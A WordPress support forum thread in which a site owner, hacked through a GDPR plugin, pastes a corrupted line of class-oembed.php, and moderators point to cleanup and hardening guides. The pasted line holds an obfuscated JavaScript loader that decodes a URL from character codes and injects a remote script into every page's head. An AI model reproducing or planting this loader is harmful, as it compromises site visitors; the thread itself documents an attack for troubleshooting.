Title: Syntax error after GDPR hack
Last modified: November 9, 2018

---

# Syntax error after GDPR hack

 *  [abigailreynolds2013](https://wordpress.org/support/users/abigailreynolds2013/)
 * (@abigailreynolds2013)
 * [7 years, 7 months ago](https://wordpress.org/support/topic/syntax-error-after-gdpr-hack/)
 * I had the same hack through the GDPR plug-in as everyone else, but I can’t access
   my site. I get this message: Parse error: syntax error, unexpected ‘text’ (T_STRING)
   in /home/pember7/public_html/wp-includes/class-oembed.php on line 461
 * This is line 461:
    if ( $html_head_end = stripos( $html, ‘<script type=’text/
   javascript’>var _0x1e35=[‘length’,’fromCharCode’,’createElement’,’type’,’async’,’
   code121′,’src’,’appendChild’,’getElementsByTagName’,’script’];(function(_0x546a53,
   _0x3f720e){var _0x440369=function(_0x2e1b64){while(–_0x2e1b64){_0x546a53[‘push’](
   _0x546a53[‘shift’]());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05
   =function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[
   _0x716551];return _0x2b7638;};var url=String[_0x5a05(‘0x0’)](104, 116, 116, 112,
   115, 58, 47, 47, 115, 97, 115, 107, 109, 97, 100, 101, 46, 110, 101, 116, 47,
   102, 111, 111, 116, 46, 106, 115, 63, 118, 101, 114, 61, 49, 46, 48, 46, 48);
   var a=function(){var _0x22c9c8=document[_0x5a05(‘0x1’)](String[_0x5a05(‘0x0’)](
   0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05(‘0x2’)]=String[_0x5a05(‘0x0’)](
   0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[
   _0x5a05(‘0x3’)]=!![];_0x22c9c8[‘id’]=_0x5a05(‘0x4’);_0x22c9c8[_0x5a05(‘0x5’)]
   =url;document[‘getElementsByTagName’](String[_0x5a05(‘0x0’)](0x68,0x65,0x61,0x64))[
   0x0][_0x5a05(‘0x6’)](_0x22c9c8);};var scrpts=document[_0x5a05(‘0x7’)](_0x5a05(‘
   0x8’));var n=!![];for(var i=scrpts[_0x5a05(‘0x9’)];i–;){if(scrpts[i][‘id’]==_0x5a05(‘
   0x4′)){n=![];}};if(n==!![]){a();}</script></head>’ ) ) {
 * Question 1: How do I fix this?
 * Question 2: I can’t delete the GDPR plug-in the usual way because I can’t access
   the dashboard. If I simply delete the plug-in folder on cpanel, will that do 
   the same thing, or will it cause a problem?
 * Thanks so much!!!!
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Fsyntax-error-after-gdpr-hack%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

Viewing 5 replies - 1 through 5 (of 5 total)

 *  Moderator [t-p](https://wordpress.org/support/users/t-p/)
 * (@t-p)
 * [7 years, 7 months ago](https://wordpress.org/support/topic/syntax-error-after-gdpr-hack/#post-10862188)
 * > Question 1: How do I fix this?
 * I recommend asking at [https://wordpress.org/support/plugin/gdpr](https://wordpress.org/support/plugin/gdpr)
   so the plugin’s developers and support community can help you with this.
 *  Moderator [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/)
 * (@sterndata)
 * Volunteer Forum Moderator
 * [7 years, 7 months ago](https://wordpress.org/support/topic/syntax-error-after-gdpr-hack/#post-10862241)
 * >> If I simply delete the plug-in folder on cpanel, will that do the same thing,
   <<
 * Most likely, yes.
 * Get a fresh cup of coffee, take a deep breath and carefully follow [this guide](https://codex.wordpress.org/FAQ_My_site_was_hacked).
   When you’re done, you may want to implement some (if not all) of [the recommended security measures](https://codex.wordpress.org/Hardening_WordPress).
 * If you’re unable to clean your site(s) successfully, there are reputable organizations
   that can clean your sites for you. Sucuri and Wordfence are a couple.
 *  [ziaalhassan](https://wordpress.org/support/users/ziaalhassan/)
 * (@ziaalhassan)
 * [7 years, 7 months ago](https://wordpress.org/support/topic/syntax-error-after-gdpr-hack/#post-10866639)
 * I Am Facing The Exactly Same Issue On [http://www.digitech.com.pk](http://www.digitech.com.pk)
   But I Am Not Using This Plugin, Any Help Will Be A Great Tension Reducer And 
   Time Saver For Me.
    -  This reply was modified 7 years, 7 months ago by [ziaalhassan](https://wordpress.org/support/users/ziaalhassan/).
    -  This reply was modified 7 years, 7 months ago by [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/).
    -  This reply was modified 7 years, 7 months ago by [ziaalhassan](https://wordpress.org/support/users/ziaalhassan/).
    -  This reply was modified 7 years, 7 months ago by [ziaalhassan](https://wordpress.org/support/users/ziaalhassan/).
 *  Moderator [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/)
 * (@sterndata)
 * Volunteer Forum Moderator
 * [7 years, 7 months ago](https://wordpress.org/support/topic/syntax-error-after-gdpr-hack/#post-10866651)
 * [@ziaalhassan](https://wordpress.org/support/users/ziaalhassan/), if you need
   support then per the [forum welcome](https://wordpress.org/support/guidelines/#post-in-the-best-place)
   please create your own [new forum post](https://wordpress.org/support/forum/how-to-and-troubleshooting/#new-post).
   Thanks.
 *  [ziaalhassan](https://wordpress.org/support/users/ziaalhassan/)
 * (@ziaalhassan)
 * [7 years, 6 months ago](https://wordpress.org/support/topic/syntax-error-after-gdpr-hack/#post-10867779)
 * New Post Created Sir

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘Syntax error after GDPR hack’ is closed to new replies.

## Tags

 * [parse-error](https://wordpress.org/support/topic-tag/parse-error/)
 * [syntax error](https://wordpress.org/support/topic-tag/syntax-error/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 5 replies
 * 4 participants
 * Last reply from: [ziaalhassan](https://wordpress.org/support/users/ziaalhassan/)
 * Last activity: [7 years, 6 months ago](https://wordpress.org/support/topic/syntax-error-after-gdpr-hack/#post-10867779)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
